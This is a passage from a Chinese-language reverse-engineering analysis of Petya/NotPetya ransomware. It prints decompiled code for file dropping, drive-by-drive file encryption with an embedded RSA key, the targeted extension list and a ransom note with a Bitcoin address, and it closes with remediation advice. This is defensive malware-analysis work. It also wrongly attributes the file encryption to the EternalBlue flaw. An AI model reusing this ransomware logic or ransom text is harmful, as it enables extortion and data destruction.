与minikatz 文件释放相同，查找资源之后通过解码，写入到C:\windows\dllhost.dat 文件当中

```
43   if ( v5 && v5 + 12 < 0x104 )
44   {
45     PathAppendW(::lpMem, L"dllhost.dat");
46     goto LABEL_13;
47   }
48 LABEL_12:
49   v6 = ::lpMem;
50   v7 = GetProcessHeap();
51   HeapFree(v7, 0, v6);
52   ::lpMem = 0;
53 LABEL_13:
54   if ( ::lpMem )
55   {
56     if ( Create_dll(v15, ::lpMem, lpMem, 0) )   // 释放dllhost.dat
57     {
58 LABEL_17:
59       v13 = 1;
60       goto LABEL_18;
61     }
62     dwErrCode = GetLastError();
63     if ( dwErrCode == 80 )
64     {
65       dwErrCode = 0;
66       goto LABEL_17;
67     }
68   }
69 LABEL_18:
```

```
C:\Windows>type dllhost.dat
MZ? ♥   ♦          ?        @                                        ?   ?♥? ???L?This
program cannot be run in DOS mode.
$       <钜均徙踴徙踴徙踟?踢徙踟?踟徙踟?跂徙踴徑燮徙踟?垣徙踟?踶徙踟?踶徙踢ichx
徙?                          PE   L◘♦ ?諯          ?  ♥◘◘◘      H◘   p♥      U?    ►    `◘
   @  ►   ◘  ♠        ♠         ?  ♦  ?♠ ♥  ¢  ►  ►    ►  ►      ►            D? ?
   ? 厝◘           ? x‡           `c◘ ∟                                 力◘ @
 `◘ ∟♥                            .text    zG◘  ►   H◘  ♦                  `.rdata
达    `◘  ?    L◘              @  @.data    渲◘  ?       ?              @   ?rsrc    厝◘
  ?   ?   ?              @   @
```

7. 文件加密

这里的加密使用的是永恒之蓝漏洞，Petya 启动一个线程来加密文件

```
13    hKey = 1 << v1;
14    if ( (1 << v1) & hDriver )
15    {
16      RootPathName[0] = v1 + 65;
17      RootPathName[1] = 58;
18      v4 = '\\';
19      hKey = GetDriveTypeW(RootPathName);
20      if ( hKey == 3 )                          // 如果是硬盘或闪存
21      {
22        hKey = (signed int)LocalAlloc(0x40u, 0x20u);// 0x20 字节大小的zero memory
23        if ( hKey )
24        {
25          *(_DWORD *)(hKey + 16) = L"MIIBCgKCAQEAxP/VqKc0yLe9JhVqFMQGwUITO6WpXWnKSNQAYT0O65Cr8PjIQInT
26                                     "0Zr1Q/wcYJBwLhQ9EqJ3iDqmN19Oo7NtyEUmbYmopcq+YLIBZzQ2ZTK0A2DtX4GR
27                                     "Vy/+mf0JFWixz29QiTf5oLu15wVLONCuEibGaNNpgq+CXsPwfITDbDDmdrRIiUEU
28                                     "TZu6zfhzuts7KafP5UA8/0Hmf5K3/F9Mf9SE68EZjK+cIiFlKeWndP0XfRCYXI9A
29                                     "vLeOn42LHFUK4o6JwIDAQAB";
30          *(_DWORD *)(hKey + 28) = 0;
31          *(_DWORD *)hKey = *(_DWORD *)RootPathName;
32          *(_DWORD *)(hKey + 4) = v4;
33          hKey = (signed int)CreateThread(0, 0, Crypt_StartAddress, (LPVOID)hKey, 0, 0);
34        }
35      }
36    }
37    --v1;
38  }

00001357 EncryptFILE:33
```

线程先生成密钥，遍历硬盘文件并加密，之后创建README.TXT 文件,最后销毁密钥

```
23  else
24  {
25    if ( v1 != 0x80090016 )
26    {
27LABEL_10:
28      hKey = hcryptKey;
29      goto LABEL_11;
30    }
31    v5 = 8;
32    v4 = L"Microsoft Enhanced RSA and AES Cryptographic Provider";
33  }
34  if ( !CryptAcquireContextW((HCRYPTPROV *)hcryptKey + 2, 0, v4, 0x18u, v5) )
35    goto LABEL_10;
36LABEL_7:
37  hKey = hcryptKey;
38  if ( Crypt_Gen_key((int)hcryptKey) )          // 生成密钥
39  {
40    Start_Encrypt_File((LPCWSTR)hcryptKey, 15, (int)hcryptKey);// 遍历硬盘并加密文件
41    create_readme_txt((LPCWSTR)hcryptKey);      // 创建README.TXT
42    CryptDestroyKey(*((_DWORD *)hcryptKey + 5));
43  }
44  CryptReleaseContext(*((_DWORD *)hcryptKey + 2), 0);
45LABEL_11:
46  LocalFree(hKey);
47  return 0;
48}
```

Petya 遍历目录，如果目录是C:\Windows ，则跳过，去加密其他文件，并对文件类型进行了监测，加密的文件类型有 ：

```
.3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ctl.dbf.disk
.djvu.doc.docx.dwg.eml.fdb.gz.h.hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.
ovf.pdf.php.pmf.ppt.pptx.pst.pvi.py.pyc.rar.rtf.sln.sql.tar.vbox.vbs.v
cb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsdx.vsv.work.xls.xlsx.xvd.zip.
```

```
25            if ( !v4 || v4 == -1 )
26              break;
27          }
28          if ( wcscmp(FindFileData.cFileName, L".")
29            && wcscmp(FindFileData.cFileName, L"..")
30            && PathCombineW(&FileName, pszDir, FindFileData.cFileName) )
31          {
32            if ( !(FindFileData.dwFileAttributes & 0x10) || FindFileData.dwFileAttributes & 0x400 )
33            {
34              ext = (struct _WIN32_FIND_DATAW *)PathFindExtensionW(FindFileData.cFileName);
35              if ( (WCHAR *)ext != &FindFileData.cFileName[wcslen(FindFileData.cFileName)] )
36              {
37                wsprintfW(&v10, L"%ws.", ext);
38                if ( StrStrIW(                    // 加密的文件类型
39                        L".3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ctl.dbf.disk.djvu.c
40                         "gz.h.hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.ovf.pdf.php.pmf.ppt.pptx.pst.pvi.p
41                         "ql.tar.vbox.vbs.vcb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsdx.vsv.work.xls.xlsx.xvd.zip.
42                        &v10) )
43                {
44                  Crypt_File_EncrptFile(&FileName, hcryptKey);
45                }
46              }
47            }
48            else if ( !StrStrIW(L"C:\\Windows;", &FileName) )
49            {
50              Start_Encrypt_File(&FileName, a2 - 1, hcryptKey);
51            }

00000DED Start_Encrypt_File:25
```

在找到符合条件的文件后，对其进行加密

```
11  BOOL Final; // [sp+24h] [bp-4h]@2
12
13  result = CreateFileW(hFileData, 0xC0000000, 0, 0, 3u, 0, 0);
14  hFile = result;
15  v8 = result;
16  if ( result != (HANDLE)-1 )
17  {
18    GetFileSizeEx(result, &FileSize);
19    Final = 0;
20    if ( FileSize.QuadPart <= 0x100000 )        // 最大0x100000
21    {
22      hFileData = (LPCWSTR)FileSize.s.LowPart;
23      Final = 1;
24      size = 16 * ((FileSize.s.LowPart >> 4) + 1);
25    }
26    else
27    {
28      hFileData = (LPCWSTR)0x100000;
29      size = 0x100000;
30    }
31    hFileMappingObject = CreateFileMappingW(hFile, 0, 4u, 0, size, 0);
32    hObject = hFileMappingObject;
33    if ( hFileMappingObject )
34    {
35      MapViewOfFileObject = MapViewOfFile(hFileMappingObject, 6u, 0, 0, (SIZE_T)hFileData);
36      if ( MapViewOfFileObject )
37      {

00000C9A Crypt_File_EncrptFile:11
```

这里检查了文件的大小，加密的文件大小最大为0x100000 字节,超过的文件部分不对其进行加密，最后使用了CryptEncrypt 函数来加密文件。

接下来写入README.TXT,也就是在加密完成之后显示的勒索信息。

```
25          NumberOfBytesWritten = 0;
26          WriteFile(
27            hfile,
28            L"Ooops, your important files are encrypted.\r\n"
29             "\r\n"
30             "If you see this text, then your files are no longer accessible, because\r\n"
31             "they have been encrypted. Perhaps you are busy looking for a way to recover\r\n"
32             "your files, but don't waste your time. Nobody can recover your files without\r\n"
33             "our decryption service.\r\n"
34             "\r\n"
35             "We guarantee that you can recover all your files safely and easily.\r\n"
36             "All you need to do is submit the payment and purchase the decryption key.\r\n"
37             "\r\n"
38             "Please follow the instructions:\r\n"
39             "\r\n"
40             "1.\tSend $300 worth of Bitcoin to following address:\r\n"
41             "\r\n",
42            0x432u,
43            &NumberOfBytesWritten,
44            0);
45          WriteFile(hfile, L"1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX\r\n\r\n", 0x4Cu, &NumberOfBytesWritter
46          WriteFile(
47            hfile,
48            L"2.\tSend your Bitcoin wallet ID and personal installation key to e-mail ",
49            0x8Eu,
50            &NumberOfBytesWritten,
51            0);

000011D0 create_readme_txt:25
```

5. 总结

使用动态和静态分析的方法来分析该病毒的部分功能，功能有权限检查和提升,设置定时关机任务，获取网络的ip，释放minikatz 和psexec 文件以及文件加密。

病毒危害巨大，一旦数据被加密，将无法恢复。

修复建议：

1. 跟新系统，将系统更新到最新版本
2. 修复永恒之蓝漏洞，或关闭139 端口
3. 关闭WMI 服务
4. 对重要的数据备份，并进行物理隔离
5. 将UAC 设置为最高等级